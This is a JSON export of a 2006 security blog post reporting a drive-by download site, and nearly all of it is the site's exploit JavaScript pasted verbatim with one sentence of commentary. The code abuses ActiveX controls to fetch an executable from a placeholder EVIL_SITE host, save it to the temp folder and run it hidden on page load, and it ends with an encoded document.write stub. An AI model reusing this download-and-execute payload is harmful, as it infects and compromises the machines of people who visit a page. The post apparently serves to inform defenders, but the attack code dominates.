{"id":165,"date":"2006-12-14T16:08:05","date_gmt":"2006-12-14T20:08:05","guid":{"rendered":"http:\/\/blogs.law.harvard.edu\/zeroday\/2006\/12\/14\/interesting-web-expoit-technique\/"},"modified":"2006-12-14T16:08:20","modified_gmt":"2006-12-14T20:08:20","slug":"interesting-web-expoit-technique","status":"publish","type":"post","link":"https:\/\/archive.blogs.harvard.edu\/zeroday\/2006\/12\/14\/interesting-web-expoit-technique\/","title":{"rendered":"Interesting Web Exploit Technique"},"content":{"rendered":"<p>Today I found another old example of how web site operators are using browser based exploits to infect &#8220;drive by&#8221; browsers.  If a user goes to the site I found today using a vulnerable browser an Iframe will deliver an advertisment which contains javascript encoded download instructions for exe&#8217;s.<\/p>\n<p>Observe<\/p>\n<p><code>function Go(a) {<br \/>\n        Log('Creating helper objects...');<br \/>\n        var s = CreateO(a, \"WScript.Shell\");<br \/>\n        var o = CreateO(a, \"ADODB.Stream\");<br \/>\n        var e = s.Environment(\"Process\");<\/p>\n<p>        Log('Ceating the XMLHTTP object...');<br \/>\n                        var url = \"http:\/\/EVIL_SITE\/adv\/168\/win32.exe\";        var xml = null;<br \/>\n        var bin = e.Item(\"TEMP\")+ \"\\\\\" + \"metasploit.exe\";<br \/>\n        var dat;<\/p>\n<p>        try { xml=new XMLHttpRequest(); }<br \/>\n        catch(e) {<br \/>\n                try { xml = new ActiveXObject(\"Microsoft.XMLHTTP\"); }<br \/>\n                catch(e) {<br \/>\n                        xml = new ActiveXObject(\"MSXML2.ServerXMLHTTP\");<br \/>\n                }<br \/>\n        }<\/p>\n<p>        if (! xml) return(0);<\/p>\n<p>        Log('');<br \/>\n        xml.open(\"http:\/\/EVIL_SITE\/adv\/GET\", url, false)<br \/>\n        xml.send(null);<br \/>\n        dat = xml.responseBody;<\/p>\n<p>        Log('');<br \/>\n        o.Type = 1;<br \/>\n        o.Mode = 3;<br \/>\n        o.Open();<br \/>\n        o.Write(dat);<br \/>\n        o.SaveToFile(bin, 2);<\/p>\n<p>        Log('.');<br \/>\n        s.Run(bin,0);<br \/>\n}<\/p>\n<p>function Exploit() {<br \/>\n        var i = 0;<br \/>\n        var t = new Array('{BD96C556-65A3-11D0-983A-00C04FC29E36}',<br \/>\n'{BD96C556-65A3-11D0-983A-00C04FC29E36}',<br \/>\n'{AB9BCEDD-EC7E-47E1-9322-D4A210617116}',<br \/>\n'{0006F033-0000-0000-C000-000000000046}',<br \/>\n'{0006F03A-0000-0000-C000-000000000046}',<br \/>\n'{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}',<br \/>\n'{6414512B-B978-451D-A0D8-FCFDF33E833C}',<br \/>\n'{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}',<br \/>\n'{06723E09-F4C2-43c8-8358-09FCD1DB0766}',<br \/>\n'{639F725F-1B2D-4831-A9FD-874847682010}',<br \/>\n'{BA018599-1DB3-44f9-83B4-461454C84BF8}',<br \/>\n'{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}',<br \/>\n'{E8CCCDDF-CA28-496b-B050-6C07C962476B}',null);<\/p>\n<p>        while (t[i]) {<br \/>\n                var a = null;<\/p>\n<p>                if (t[i].substring(0,1) == '{') {<br \/>\n                        a = document.createElement(\"object\");<br \/>\n                        a.setAttribute(\"classid\", \"clsid:\" + t[i].substring(1, t[i].length - 1));<br \/>\n                } else {<br \/>\n                        try { a = new ActiveXObject(t[i]); } catch(e){}<br \/>\n                }<\/p>\n<p>                if (a) {<br \/>\n                        try {<br \/>\n                                var b = CreateO(a, \"WScript.Shell\");<br \/>\n                                if (b) {<br \/>\n                                        Log('Loaded ' + t[i]);<br \/>\n                                        Go(a);<br \/>\n                                        return(0);<br \/>\n                                }<br \/>\n                        } catch(e){}<br \/>\n                }<br \/>\n                i++;<br \/>\n        }<br \/>\n        Log('');<br \/>\n}<br \/>\n&lt;\/script&gt;<br \/>\n&lt;\/head&gt;<br \/>\n&lt;body onload='Exploit()'&gt;<br \/>\n&lt;p&gt;&lt;\/p&gt;<br \/>\n&lt;\/body&gt;<\/p>\n<p>&lt;\/html&gt;<br \/>\n&lt;html&gt;<br \/>\n&lt;body&gt;<br \/>\n&lt;script&gt;<br \/>\ndocument.write(unescape(\"[LARGE BLOCK OF HEX ENCODED DATA]\"))<br \/>\n&lt;\/script&gt;<br \/>\n<\/code><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Today I found another old example of how web site operators are using browser based exploits to infect &#8220;drive by&#8221; browsers. If a user goes to the site I found today using a vulnerable browser an Iframe will deliver an advertisment which contains javascript encoded download instructions for exe&#8217;s. Observe function Go(a) { Log(&#8216;Creating helper [&hellip;]<\/p>\n","protected":false},"author":214,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[272],"tags":[],"class_list":["post-165","post","type-post","status-publish","format-standard","hentry","category-digital-warfare"],"jetpack_featured_media_url":"","_links":{"self":[{"href":"https:\/\/archive.blogs.harvard.edu\/zeroday\/wp-json\/wp\/v2\/posts\/165","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/archive.blogs.harvard.edu\/zeroday\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/archive.blogs.harvard.edu\/zeroday\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/archive.blogs.harvard.edu\/zeroday\/wp-json\/wp\/v2\/users\/214"}],"replies":[{"embeddable":true,"href":"https:\/\/archive.blogs.harvard.edu\/zeroday\/wp-json\/wp\/v2\/comments?post=165"}],"version-history":[{"count":0,"href":"https:\/\/archive.blogs.harvard.edu\/zeroday\/wp-json\/wp\/v2\/posts\/165\/revisions"}],"wp:attachment":[{"href":"https:\/\/archive.blogs.harvard.edu\/zeroday\/wp-json\/wp\/v2\/media?parent=165"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/archive.blogs.harvard.edu\/zeroday\/wp-json\/wp\/v2\/categories?post=165"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/archive.blogs.harvard.edu\/zeroday\/wp-json\/wp\/v2\/tags?post=165"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}